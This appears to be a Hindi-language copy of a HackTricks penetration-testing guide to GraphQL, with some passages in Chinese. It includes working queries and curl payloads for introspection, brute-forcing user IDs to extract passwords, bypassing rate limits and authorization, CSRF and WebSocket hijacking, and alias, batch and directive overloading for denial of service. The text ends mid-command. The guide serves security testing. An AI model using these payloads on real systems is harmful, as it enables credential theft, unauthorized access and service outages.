63 KiB
GraphQL
{{#include ../../banners/hacktricks-training.md}}
अपने मोबाइल सुरक्षा में विशेषज्ञता को 8kSec अकादमी के साथ गहरा करें। हमारे आत्म-गति पाठ्यक्रमों के माध्यम से iOS और Android सुरक्षा में महारत हासिल करें और प्रमाणित हों:
{% embed url="https://academy.8ksec.io/" %}
परिचय
GraphQL को REST API के लिए एक प्रभावी विकल्प के रूप में उजागर किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST के विपरीत, जो अक्सर डेटा एकत्र करने के लिए विभिन्न एंडपॉइंट्स पर कई अनुरोधों की आवश्यकता होती है, GraphQL सभी आवश्यक जानकारी को एकल अनुरोध के माध्यम से लाने की अनुमति देता है। यह सरलीकरण डेवलपर्स के लिए लाभकारी है क्योंकि यह उनके डेटा लाने की प्रक्रियाओं की जटिलता को कम करता है।
GraphQL और सुरक्षा
नई तकनीकों के आगमन के साथ, जिसमें GraphQL भी शामिल है, नई सुरक्षा कमजोरियाँ भी उभरती हैं। एक महत्वपूर्ण बिंदु यह है कि GraphQL डिफ़ॉल्ट रूप से प्रमाणीकरण तंत्र शामिल नहीं करता है। ऐसे सुरक्षा उपायों को लागू करना डेवलपर्स की जिम्मेदारी है। उचित प्रमाणीकरण के बिना, GraphQL एंडपॉइंट्स अनधिकृत उपयोगकर्ताओं के लिए संवेदनशील जानकारी को उजागर कर सकते हैं, जो एक महत्वपूर्ण सुरक्षा जोखिम पैदा करता है।
निर्देशिका ब्रूट फोर्स हमले और GraphQL
खुले GraphQL उदाहरणों की पहचान करने के लिए, निर्देशिका ब्रूट फोर्स हमलों में विशिष्ट पथों को शामिल करने की सिफारिश की जाती है। ये पथ हैं:
/graphql/graphiql/graphql.php/graphql/console/api/api/graphql/graphql/api/graphql/graphql
खुले GraphQL उदाहरणों की पहचान करने से समर्थित क्वेरीज़ की जांच करने की अनुमति मिलती है। यह एंडपॉइंट के माध्यम से उपलब्ध डेटा को समझने के लिए महत्वपूर्ण है। GraphQL की अंतर्दृष्टि प्रणाली इसे सक्षम बनाती है, जो एक स्कीमा द्वारा समर्थित क्वेरीज़ का विवरण देती है। इस पर अधिक जानकारी के लिए, GraphQL दस्तावेज़ में अंतर्दृष्टि देखें: GraphQL: APIs के लिए एक क्वेरी भाषा।
फिंगरप्रिंट
उपकरण graphw00f यह पहचानने में सक्षम है कि किसी सर्वर में कौन सा GraphQL इंजन उपयोग किया जा रहा है और फिर सुरक्षा ऑडिटर के लिए कुछ सहायक जानकारी प्रिंट करता है।
यूनिवर्सल क्वेरीज़
यह जांचने के लिए कि क्या एक URL एक GraphQL सेवा है, एक यूनिवर्सल क्वेरी, query{__typename}, भेजी जा सकती है। यदि प्रतिक्रिया में {"data": {"__typename": "Query"}} शामिल है, तो यह पुष्टि करता है कि URL एक GraphQL एंडपॉइंट होस्ट करता है। यह विधि GraphQL के __typename फ़ील्ड पर निर्भर करती है, जो क्वेरी किए गए ऑब्जेक्ट के प्रकार को प्रकट करती है।
query{__typename}
बेसिक एन्यूमरेशन
Graphql आमतौर पर GET, POST (x-www-form-urlencoded) और POST(json) का समर्थन करता है। हालांकि सुरक्षा के लिए केवल json की अनुमति देना अनुशंसित है ताकि CSRF हमलों को रोका जा सके।
इंट्रोस्पेक्शन
स्कीमा जानकारी खोजने के लिए इंट्रोस्पेक्शन का उपयोग करने के लिए, __schema फ़ील्ड को क्वेरी करें। यह फ़ील्ड सभी क्वेरियों के रूट प्रकार पर उपलब्ध है।
query={__schema{types{name,fields{name}}}}
इस क्वेरी के साथ आप सभी प्रकारों के नाम पाएंगे जो उपयोग किए जा रहे हैं:
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
इस क्वेरी के साथ आप सभी प्रकार, उनके फ़ील्ड और उनके तर्क (और तर्क का प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के तरीके को जानने के लिए बहुत उपयोगी होगा।
त्रुटियाँ
यह जानना दिलचस्प है कि क्या त्रुटियाँ दिखाई जाएँगी क्योंकि वे उपयोगी जानकारी में योगदान करेंगी।
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
इंट्रोस्पेक्शन के माध्यम से डेटाबेस स्कीमा की गणना करें
Note
यदि इंट्रोस्पेक्शन सक्षम है लेकिन उपरोक्त क्वेरी नहीं चलती है, तो क्वेरी संरचना से
onOperation,onFragment, औरonFieldनिर्देशों को हटाने का प्रयास करें।
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
इनलाइन इंट्रोस्पेक्शन क्वेरी:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
अंतिम कोड लाइन एक graphql क्वेरी है जो graphql से सभी मेटा-जानकारी (ऑब्जेक्ट नाम, पैरामीटर, प्रकार...) को डंप करेगी।
यदि इंट्रोस्पेक्शन सक्षम है, तो आप GraphQL Voyager का उपयोग करके GUI में सभी विकल्प देख सकते हैं।
क्वेरी करना
अब जब हम जानते हैं कि डेटाबेस के अंदर किस प्रकार की जानकारी सहेजी गई है, तो चलिए कुछ मान निकालने की कोशिश करते हैं।
इंट्रोस्पेक्शन में आप यह देख सकते हैं कि आप किस ऑब्जेक्ट के लिए सीधे क्वेरी कर सकते हैं (क्योंकि आप केवल इसलिए क्वेरी नहीं कर सकते कि ऑब्जेक्ट मौजूद है)। निम्नलिखित छवि में आप देख सकते हैं कि "queryType" को "Query" कहा जाता है और "Query" ऑब्जेक्ट के फ़ील्ड में से एक "flags" है, जो एक ऑब्जेक्ट का प्रकार भी है। इसलिए आप फ्लैग ऑब्जेक्ट के लिए क्वेरी कर सकते हैं।
ध्यान दें कि क्वेरी का प्रकार "flags" "Flags" है, और यह ऑब्जेक्ट नीचे परिभाषित है:
आप देख सकते हैं कि "Flags" ऑब्जेक्ट name और value से मिलकर बने हैं। फिर आप क्वेरी के साथ सभी फ्लैग के नाम और मान प्राप्त कर सकते हैं:
query={flags{name, value}}
ध्यान दें कि यदि क्वेरी करने के लिए ऑब्जेक्ट एक प्राथमिक प्रकार है जैसे स्ट्रिंग जैसा कि निम्नलिखित उदाहरण में है
आप इसे बस इस तरह क्वेरी कर सकते हैं:
query = { hiddenFlags }
एक और उदाहरण में जहाँ "Query" प्रकार के ऑब्जेक्ट के अंदर 2 ऑब्जेक्ट थे: "user" और "users".
यदि इन ऑब्जेक्ट्स को खोजने के लिए किसी भी तर्क की आवश्यकता नहीं है, तो आप उनसे सभी जानकारी प्राप्त कर सकते हैं बस आपके द्वारा मांगी गई डेटा के लिए। इस उदाहरण में इंटरनेट से आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं:
हालांकि, इस उदाहरण में यदि आप ऐसा करने की कोशिश करते हैं तो आपको यह त्रुटि मिलती है:
ऐसा लगता है कि यह किसी तरह "uid" तर्क का उपयोग करके खोज करेगा जो Int प्रकार का है।
खैर, हम पहले से ही जानते थे कि, Basic Enumeration अनुभाग में एक क्वेरी प्रस्तावित की गई थी जो हमें सभी आवश्यक जानकारी दिखा रही थी: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ, तो आप देखेंगे कि "user" के पास Int प्रकार का arg "uid" था।
तो, कुछ हल्की uid ब्रूटफोर्स करते हुए मैंने पाया कि uid=1 पर एक उपयोगकर्ता नाम और पासवर्ड प्राप्त हुआ:
query={user(uid:1){user,password}}
ध्यान दें कि मैंने खोजा कि मैं पैरामीटर "user" और "password" के लिए पूछ सकता हूँ क्योंकि यदि मैं कुछ ऐसा देखने की कोशिश करता हूँ जो मौजूद नहीं है (query={user(uid:1){noExists}}) तो मुझे यह त्रुटि मिलती है:
और enumeration phase के दौरान मैंने खोजा कि "dbuser" ऑब्जेक्ट के पास "user" और "password" के रूप में फ़ील्ड थे।
Query string dump trick (धन्यवाद @BinaryShadow_)
यदि आप एक स्ट्रिंग प्रकार द्वारा खोज सकते हैं, जैसे: query={theusers(description: ""){username,password}} और आप खाली स्ट्रिंग के लिए खोजते हैं तो यह सभी डेटा डंप करेगा। (ध्यान दें कि यह उदाहरण ट्यूटोरियल के उदाहरण से संबंधित नहीं है, इस उदाहरण के लिए मान लें कि आप "theusers" को "description" नामक स्ट्रिंग फ़ील्ड द्वारा खोज सकते हैं)।
खोज
इस सेटअप में, एक डेटाबेस में व्यक्तियाँ और फिल्में होती हैं। व्यक्तियाँ को उनके ईमेल और नाम द्वारा पहचाना जाता है; फिल्में उनके नाम और रेटिंग द्वारा। व्यक्तियाँ एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्मों का भी होना दर्शाती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करती हैं।
आप नाम द्वारा व्यक्तियों की खोज कर सकते हैं और उनके ईमेल प्राप्त कर सकते हैं:
{
searchPerson(name: "John Doe") {
email
}
}
आप व्यक्तियों को नाम से खोज सकते हैं और उनकी सब्सक्राइब की गई फ़िल्में प्राप्त कर सकते हैं:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
ध्यान दें कि व्यक्ति के subscribedMovies का name प्राप्त करने के लिए कैसे संकेत दिया गया है।
आप एक ही समय में कई वस्तुओं की खोज भी कर सकते हैं। इस मामले में, 2 फिल्मों की खोज की जाती है:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
या यहां तक कि उपनामों का उपयोग करके कई विभिन्न वस्तुओं के संबंध:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutations
म्यूटेशन सर्वर-साइड में परिवर्तन करने के लिए उपयोग किए जाते हैं।
इंट्रोस्पेक्शन में आप घोषित म्यूटेशन पा सकते हैं। निम्नलिखित छवि में "MutationType" को "Mutation" कहा जाता है और "Mutation" ऑब्जेक्ट में म्यूटेशन के नाम होते हैं (जैसे कि इस मामले में "addPerson"):
इस सेटअप में, एक डेटाबेस में व्यक्तियाँ और फिल्में होती हैं। व्यक्तियाँ को उनके ईमेल और नाम से पहचाना जाता है; फिल्में उनके नाम और रेटिंग से। व्यक्तियाँ एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्में भी रख सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाती हैं।
डेटाबेस के भीतर नई फिल्मों को बनाने के लिए एक म्यूटेशन इस प्रकार हो सकता है (इस उदाहरण में म्यूटेशन को addMovie कहा जाता है):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
नोट करें कि क्वेरी में डेटा के दोनों मान और प्रकार कैसे इंगित किए गए हैं।
इसके अतिरिक्त, डेटाबेस एक म्यूटेशन ऑपरेशन का समर्थन करता है, जिसका नाम addPerson है, जो व्यक्तियों के निर्माण की अनुमति देता है, साथ ही उनके मौजूदा दोस्तों और फिल्मों के साथ संबंध भी। यह महत्वपूर्ण है कि दोस्तों और फिल्मों को नए बनाए गए व्यक्ति से लिंक करने से पहले डेटाबेस में पहले से मौजूद होना चाहिए।
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Directive Overloading
जैसा कि इस रिपोर्ट में वर्णित एक कमजोरियों में में समझाया गया है, एक निर्देश ओवरलोडिंग का मतलब है कि एक निर्देश को लाखों बार कॉल करना ताकि सर्वर ऑपरेशनों को बर्बाद करे जब तक कि इसे DoS करना संभव न हो।
Batching brute-force in 1 API request
यह जानकारी https://lab.wallarm.com/graphql-batching-attack/ से ली गई थी।
GraphQL API के माध्यम से विभिन्न क्रेडेंशियल्स के साथ कई क्वेरीज़ को एक साथ भेजकर प्रमाणीकरण करना। यह एक क्लासिक ब्रूट फोर्स हमला है, लेकिन अब HTTP अनुरोध प्रति एक से अधिक लॉगिन/पासवर्ड जोड़ी भेजना संभव है क्योंकि GraphQL बैचिंग सुविधा है। यह दृष्टिकोण बाहरी दर निगरानी अनुप्रयोगों को यह सोचने के लिए धोखा देगा कि सब कुछ ठीक है और कोई ब्रूट-फोर्सिंग बॉट पासवर्ड का अनुमान लगाने की कोशिश नहीं कर रहा है।
नीचे आप एक एप्लिकेशन प्रमाणीकरण अनुरोध का सबसे सरल प्रदर्शन देख सकते हैं, जिसमें एक समय में 3 विभिन्न ईमेल/पासवर्ड जोड़ी हैं। स्पष्ट रूप से, एक ही अनुरोध में हजारों भेजना संभव है:
जैसा कि हम प्रतिक्रिया स्क्रीनशॉट से देख सकते हैं, पहले और तीसरे अनुरोध ने null लौटाया और error अनुभाग में संबंधित जानकारी को दर्शाया। दूसरी म्यूटेशन में सही प्रमाणीकरण डेटा था और प्रतिक्रिया में सही प्रमाणीकरण सत्र टोकन है।
GraphQL Without Introspection
越来越多的graphql端点正在禁用自省。然而,当收到意外请求时,graphql抛出的错误足以让像clairvoyance这样的工具重建大部分架构。
此外,Burp Suite扩展GraphQuail扩展观察通过Burp的GraphQL API请求并构建一个内部GraphQL架构,每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当它收到自省查询时,扩展返回一个假响应。因此,GraphQuail显示所有可用于API的查询、参数和字段。有关更多信息,请查看此处。
一个不错的单词列表可以在这里发现GraphQL实体。
Bypassing GraphQL introspection defences
API中的自省查询限制可以通过在__schema关键字后插入特殊字符来绕过。此方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注__schema关键字来阻止自省。通过添加像空格、新行和逗号这样的字符,GraphQL会忽略这些字符,但在正则表达式中可能没有考虑到,从而可以规避限制。例如,在__schema后面有换行符的自省查询可能会绕过这样的防御:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
यदि असफल रहें, तो वैकल्पिक अनुरोध विधियों पर विचार करें, जैसे GET अनुरोध या POST x-www-form-urlencoded के साथ, क्योंकि प्रतिबंध केवल POST अनुरोधों पर लागू हो सकते हैं।
वेबसॉकेट्स का प्रयास करें
जैसा कि इस वार्ता में उल्लेख किया गया है, जांचें कि क्या WebSockets के माध्यम से graphQL से कनेक्ट करना संभव हो सकता है क्योंकि यह आपको संभावित WAF को बायपास करने की अनुमति दे सकता है और वेबसॉकेट संचार को graphQL के स्कीमा को लीक करने दे सकता है:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
खुली GraphQL संरचनाओं का पता लगाना
जब अंतर्दृष्टि अक्षम होती है, तो JavaScript पुस्तकालयों में प्रीलोडेड क्वेरीज़ के लिए वेबसाइट के स्रोत कोड की जांच करना एक उपयोगी रणनीति है। ये क्वेरीज़ डेवलपर टूल्स में Sources टैब का उपयोग करके पाई जा सकती हैं, जो API के स्कीमा के बारे में जानकारी प्रदान करती हैं और संभावित रूप से खुली संवेदनशील क्वेरीज़ को उजागर करती हैं। डेवलपर टूल्स में खोजने के लिए कमांड हैं:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
CSRF in GraphQL
यदि आप नहीं जानते कि CSRF क्या है, तो निम्नलिखित पृष्ठ पढ़ें:
{{#ref}} ../../pentesting-web/csrf-cross-site-request-forgery.md {{#endref}}
वहाँ आप कई GraphQL एंडपॉइंट्स पाएंगे जो CSRF टोकन के बिना कॉन्फ़िगर किए गए हैं।
ध्यान दें कि GraphQL अनुरोध आमतौर पर POST अनुरोधों के माध्यम से भेजे जाते हैं, जिसमें Content-Type application/json होता है।
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
हालांकि, अधिकांश GraphQL एंडपॉइंट भी form-urlencoded POST अनुरोधों का समर्थन करते हैं:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
इसलिए, जैसे कि पिछले CSRF अनुरोध बिना प्रीफ्लाइट अनुरोधों के भेजे जाते हैं, यह संभव है कि CSRF का दुरुपयोग करके GraphQL में परिवर्तन किए जा सकें।
हालांकि, ध्यान दें कि Chrome के samesite ध्वज का नया डिफ़ॉल्ट कुकी मान Lax है। इसका मतलब है कि कुकी केवल तीसरे पक्ष की वेबसाइट से GET अनुरोधों में भेजी जाएगी।
ध्यान दें कि आमतौर पर query request को GET request के रूप में भेजना भी संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है।
इसके अलावा, XS-Search हमले का दुरुपयोग करके GraphQL एंडपॉइंट से उपयोगकर्ता के क्रेडेंशियल्स का दुरुपयोग करके सामग्री को एक्सफिल्ट्रेट करना संभव हो सकता है।
अधिक जानकारी के लिए यहां मूल पोस्ट देखें।
GraphQL में क्रॉस-साइट वेबसॉकेट हाइजैकिंग
GraphQL का दुरुपयोग करते हुए CRSF कमजोरियों के समान, अनसुरक्षित कुकीज़ के साथ GraphQL के साथ प्रमाणीकरण का दुरुपयोग करने के लिए क्रॉस-साइट वेबसॉकेट हाइजैकिंग करना भी संभव है और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर करना।
अधिक जानकारी के लिए देखें:
{{#ref}} ../../pentesting-web/websocket-attacks.md {{#endref}}
GraphQL में प्राधिकरण
एंडपॉइंट पर परिभाषित कई GraphQL कार्य केवल अनुरोधकर्ता की प्रमाणीकरण की जांच कर सकते हैं लेकिन प्राधिकरण की नहीं।
क्वेरी इनपुट वेरिएबल को संशोधित करने से संवेदनशील खाता विवरण leaked हो सकते हैं।
म्यूटेशन अन्य खाता डेटा को संशोधित करने का प्रयास करते समय खाता अधिग्रहण का कारण बन सकता है।
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
GraphQL में प्राधिकरण को बायपास करना
Chaining queries एक कमजोर प्रमाणीकरण प्रणाली को बायपास कर सकता है।
नीचे दिए गए उदाहरण में आप देख सकते हैं कि ऑपरेशन "forgotPassword" है और इसे केवल इसके साथ जुड़े forgotPassword क्वेरी को निष्पादित करना चाहिए। इसे अंत में एक क्वेरी जोड़कर बायपास किया जा सकता है, इस मामले में हम "register" और एक उपयोगकर्ता चर जोड़ते हैं ताकि प्रणाली एक नए उपयोगकर्ता के रूप में पंजीकरण कर सके।
GraphQL में उपनामों का उपयोग करके दर सीमाओं को बायपास करना
GraphQL में, उपनाम एक शक्तिशाली विशेषता हैं जो API अनुरोध करते समय गुणों के नाम को स्पष्ट रूप से निर्दिष्ट करने की अनुमति देती हैं। यह क्षमता एकल अनुरोध के भीतर एक ही प्रकार की वस्तुओं के कई उदाहरणों को पुनः प्राप्त करने के लिए विशेष रूप से उपयोगी है। उपनामों का उपयोग उन सीमाओं को पार करने के लिए किया जा सकता है जो GraphQL वस्तुओं को एक ही नाम के साथ कई गुण रखने से रोकती हैं।
GraphQL उपनामों की विस्तृत समझ के लिए, निम्नलिखित संसाधन की सिफारिश की जाती है: Aliases।
हालांकि उपनामों का प्राथमिक उद्देश्य कई API कॉल की आवश्यकता को कम करना है, एक अनपेक्षित उपयोग का मामला पहचाना गया है जहां उपनामों का उपयोग GraphQL एंडपॉइंट पर ब्रूट फोर्स हमलों को निष्पादित करने के लिए किया जा सकता है। यह संभव है क्योंकि कुछ एंडपॉइंट्स को दर सीमित करने वालों द्वारा सुरक्षित किया गया है जो HTTP अनुरोधों की संख्या को सीमित करके ब्रूट फोर्स हमलों को रोकने के लिए डिज़ाइन किए गए हैं। हालाँकि, ये दर सीमित करने वाले प्रत्येक अनुरोध के भीतर संचालन की संख्या को ध्यान में नहीं रख सकते हैं। चूंकि उपनाम एक ही HTTP अनुरोध में कई क्वेरी शामिल करने की अनुमति देते हैं, वे ऐसी दर सीमित करने वाली उपायों को बायपास कर सकते हैं।
नीचे दिए गए उदाहरण पर विचार करें, जो दिखाता है कि कैसे उपनामित क्वेरी का उपयोग स्टोर डिस्काउंट कोड की वैधता की पुष्टि करने के लिए किया जा सकता है। यह विधि दर सीमित करने को बायपास कर सकती है क्योंकि यह कई क्वेरियों को एक HTTP अनुरोध में संकलित करती है, संभावित रूप से कई डिस्काउंट कोड की एक साथ पुष्टि करने की अनुमति देती है।
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
DoS in GraphQL
Alias Overloading
Alias Overloading एक GraphQL कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे Denial of Service (DoS) हो सकता है। उदाहरण के लिए, नीचे दी गई क्वेरी में, एक ही फ़ील्ड (expensiveField) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, जो CPU या मेमोरी को समाप्त कर सकता है:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
इससे निपटने के लिए, संसाधन दुरुपयोग को रोकने के लिए उपनाम गणना सीमाएँ, क्वेरी जटिलता विश्लेषण, या दर सीमित करना लागू करें।
एरे-आधारित क्वेरी बैचिंग
एरे-आधारित क्वेरी बैचिंग एक कमजोरियों में से एक है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग कर सकता है और संभावित रूप से सेवा से इनकार (DoS) का कारण बन सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका लाभ उठाकर सेवा की उपलब्धता को कम कर सकता है।
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
इस उदाहरण में, 10 विभिन्न क्वेरीज़ को एक अनुरोध में समेकित किया गया है, जिससे सर्वर को सभी को एक साथ निष्पादित करने के लिए मजबूर किया जाता है। यदि बड़े बैच आकार या गणनात्मक रूप से महंगे क्वेरीज़ के साथ इसका शोषण किया जाए, तो यह सर्वर को ओवरलोड कर सकता है।
निर्देश ओवरलोडिंग कमजोरियाँ
निर्देश ओवरलोडिंग तब होती है जब एक GraphQL सर्वर अत्यधिक, दोहराए गए निर्देशों के साथ क्वेरीज़ की अनुमति देता है। यह सर्वर के पार्सर और निष्पादक को अभिभूत कर सकता है, विशेष रूप से यदि सर्वर बार-बार समान निर्देश लॉजिक को संसाधित करता है। उचित सत्यापन या सीमाओं के बिना, एक हमलावर इसे कई दोहराए गए निर्देशों के साथ एक क्वेरी तैयार करके शोषण कर सकता है, जिससे उच्च गणनात्मक या मेमोरी उपयोग उत्पन्न होता है, जो सेवा से इनकार (DoS) की ओर ले जाता है।
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
ध्यान दें कि पिछले उदाहरण में @aa एक कस्टम निर्देश है जो घोषित नहीं किया जा सकता। एक सामान्य निर्देश जो आमतौर पर मौजूद होता है वह है @include:
curl -X POST \
-H "Content-Type: application/json" \
